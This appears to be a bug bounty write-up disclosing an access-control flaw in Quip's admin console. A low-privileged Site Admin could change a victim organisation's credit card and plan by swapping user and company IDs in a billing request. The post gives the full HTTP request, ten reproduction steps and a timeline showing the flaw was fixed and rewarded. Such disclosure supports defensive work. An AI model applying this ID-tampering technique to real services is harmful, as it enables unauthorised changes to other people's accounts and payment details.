Company Information :
Slack is a cloud-based freemium cross-platform instant messaging service created by Slack Technologies and currently owned by Salesforce. While initially developed for professional and organizational communications, it has also been adopted as a community platform.
Bug Category :
Privilege Escalation :
Privilege escalation is the act of exploiting a bug, a design flaw, or a configuration oversight in an operating system or software application to gain elevated access to resources that are normally protected from an application or user.
Target Information :
https://admin.quip.com
Technical Details of the Bug :
You will need a Paid subscription(Quip Starter) to reproduce the issue . Once you purchase a subscription , you can access domain https://admin.quip.com.
On this domain you have user section where you can add users with given roles. There is a low privileged role called "Site Admin" . This role is not able to access Few sections of the domain like Billing section , Roles section etc.
But the billing update request is vulnerable to Access control issue and this low privileged user is able to Update a billing settings .
In the billing settings you can update the credit card and Current plan of the company.
Vulnerable HTTP Request :
POST /-/setup-billing HTTP/2
2Host: admin.quip.com
3Cookie: cookies
4User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:109.0) Gecko/20100101 Firefox/112.0
5Accept: */*
6Accept-Language: en-US,en;q=0.5
7Accept-Encoding: gzip, deflate
8Referer: https://admin.quip.com/console/cCGAcAVnm2Q/billing
9X-Requested-With: XMLHttpRequest
10Content-Type: application/x-www-form-urlencoded
11Content-Length: 1271
12Origin: https://admin.quip.com
13Sec-Fetch-Dest: empty
14Sec-Fetch-Mode: cors
15Sec-Fetch-Site: same-origin
16Te: trailers
17
18_csrf=&_js_client_hash=&_js_request_id=r16zyuvia9&_js_request_time=1683414925164&_js_request_time_ms=1683414925164&_resource_bundle=admin_console&_user_id=NJKAEAnKkEU&_version=10&_window_session_id=8eba0aa9f607&company_id=cCGAcAVnm2Q&plan=5p_monthly_2_free_mo&quantity=5&token=%7B%22id%22%3A%22tok_1N4uJx20Ocpi9J4OZX6EPU3B%22%2C%22object%22%3A%22token%22%2C%22card%22%3A%7B%22id%22%3A%22card_1N4uJw20Ocpi9J4ONRzsiF9I%22%2C%22object%22%3A%22card%22%2C%22address_city%22%3Anull%2C%22address_country%22%3Anull%2C%22address_line1%22%3Anull%2C%22address_line1_check%22%3Anull%2C%22address_line2%22%3Anull%2C%22address_state%22%3Anull%2C%22address_zip%22%3A%22560103%22%2C%22address_zip_check%22%3A%22unchecked%22%2C%22brand%22%3A%22Visa%22%2C%22country%22%3A%22IN%22%2C%22cvc_check%22%3A%22unchecked%22%2C%22dynamic_last4%22%3Anull%2C%22exp_month%22%3A7%2C%22exp_year%22%3A2027%2C%22funding%22%3A%22credit%22%2C%22last4%22%3A%228169%22%2C%22name%22%3A%221110bugcrowdtester%40gmail.com%22%2C%22tokenization_method%22%3Anull%2C%22wallet%22%3Anull%7D%2C%22client_ip%22%3A%2249.37.161.143%22%2C%22created%22%3A1683414921%2C%22email%22%3A%221110bugcrowdtester%40gmail.com%22%2C%22livemode%22%3Atrue%2C%22type%22%3A%22card%22%2C%22used%22%3Afalse%7D
Vulnerable Parameter :
_user_id , company_id
These IDs are public to Low privileged user account.
Steps to reproduce :
You will need 2 Quip Startup paid accounts for this.
1.Login from Victim account and go to https://admin.quip.com.
2.Now go to user management section and add attacker user(User will be auto given site admin role)
3.Now login from Attacker user account and you will see this user will have access to victim Account too but with low privileges.
4.Now Select the victim org and any go to Victim Org on https://admin.quip.com.
5.Now you will notice that this user doesn't have access to Billing section.
6.Now select the Attacker Org account and go to https://admin.quip.com.
7.Now go to billing section and update the credit card/plan.
8.Complete the stripe payment and the final request would look something like above mentioned Request.
9.Change the _user_id and company_id values to Victim account and send the request to server.
10.You will notice that victim account Credit card and plan will be changed.
Note : _user_id and company_id are public values to Low privileged user account. Impact
Timeline :
May 12th 2023: Report send to Slack product Security Team through Hackerone.
June 03th 2023 : Report Accepted and Triaged.
June 07th 2023: Complete issue was resolved and confirmed.
June 07th 2023 : 1500$ Bounty Rewarded
Comments
Post a Comment